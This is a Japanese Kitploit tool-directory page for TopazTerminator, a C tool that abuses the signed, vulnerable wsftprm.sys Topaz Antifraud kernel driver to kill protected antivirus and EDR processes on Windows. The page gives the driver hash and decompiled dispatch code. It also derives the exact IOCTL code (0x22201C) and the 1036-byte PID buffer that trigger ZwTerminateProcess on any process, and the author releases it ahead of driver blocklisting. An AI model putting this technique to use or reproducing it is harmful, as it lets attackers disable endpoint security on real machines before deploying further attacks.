Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
TopazTerminator — C言語ベースのツール。脆弱なwsftprm.sysカーネルドライバを悪用し、リバースエンジニアリングされたIOCTLディスパッチロジックを介して、Windows上の保護されたEDR/AVプロセス(PPLプロセスを含む)を強制終了します。 | Kitploit
ツール/GitHubGitHub/thannikudam/topazterminator
防御ツール特権昇格脆弱性分析エクスプロイトリバースエンジニアリングペネトレーションテストレッドチーミングバイナリエクスプロイト
GitHubthannikudam/topazterminator

TopazTerminator

C言語ベースのツール。脆弱なwsftprm.sysカーネルドライバを悪用し、リバースエンジニアリングされたIOCTLディスパッチロジックを介して、Windows上の保護されたEDR/AVプロセス(PPLプロセスを含む)を強制終了します。

リポジトリを見る
141227ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

TopazTerminator

ああ、また別のドライバーが燃やされた…。私はしばらくの間 wsftprm.sys ドライバーを囲っていたのですが、ある人が公開PoCを投稿したので、もう囲うのをやめます。すぐにドライバーブロックリストに追加されるのは分かっているので、同じ機能をCで実装したものをここに公開します。

このプロジェクトは、脆弱な wsftprm.sys(Topaz Antifraud カーネルドライバー)を悪用して、Windows 上の保護されたプロセス(例:アンチウイルス/EDR サービス)を終了させます。

2026年1月現在、wsftprm.sys(SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8)は、Microsoft の公式脆弱ドライバーブロックリストに含まれていない、署名済み脆弱ドライバーの1つです。

RE

ドライバーのロード方法やリバースエンジニアリングについては、大量の情報がすでに存在するので、そちらを参照してください。このドライバーで興味深いのは、IOCTL の処理方法です。ドライバーは IOCTL ディスパッチに標準の switch 文を使用せず、代わりに IOCTL コードから一連の減算を実行して意図された値を難読化しています。

メインディスパッチ関数(IRP_MJ_DEVICE_CONTROL ハンドラ)

root@kitploit:~
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
    // ...
    v7 = IoControlCode;  // v6[6] = Parameters.DeviceIoControl.IoControlCode

    v8  = v7 - 0x222000;
    v9  = v8 - 4;
    v10 = v9 - 4;
    v11 = v10 - 16;

    if ( v11 == 4 && InputBufferLength == 1036 )
    {
        // Copy 1036-byte input buffer
        // Extract first DWORD as PID (v41)
        // Call sub_14000264C(v41, buffer) → leads to termination
    }
}

ZwTerminateProcess() 関数呼び出し

root@kitploit:~
sub_14000264C(unsigned int a1, __int64 a2)
{
    // ...
    v4 = sub_140002848(a1);  // a1 = PID from buffer[0..3]
}

__int64 __fastcall sub_140002848(unsigned int a1)  // PID
{
    CLIENT_ID ClientId = { (HANDLE)a1, 0 };
    OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
    HANDLE ProcessHandle;

    ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
    if (NT_SUCCESS(status) && ProcessHandle)
    {
        ZwTerminateProcess(ProcessHandle, 0);
        ZwClose(ProcessHandle);
    }
    // ...
}

IOCTL コードの計算(減算の逆算)

これで脆弱な関数に到達するための前提条件が分かりました。基本的には v11 == 4 && InputBufferLength == 1036 なので、条件から逆算して IOCTL コードを求めることができます。次のようになります:

root@kitploit:~
v11 == 4
→ v10 - 16 == 4    → v10 = 20 (0x14)
→ v9  - 4  == 20   → v9  = 24 (0x18)
→ v8  - 4  == 24   → v8  = 28 (0x1C)
→ v7  - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C

そして、この IOCTL コードを使って DeviceIoControl を呼び出せば、任意のプロセス(PPL プロセスも含む)を終了させることができます。

最終テスト環境: Windows Version 25H2!

ツールをダウンロード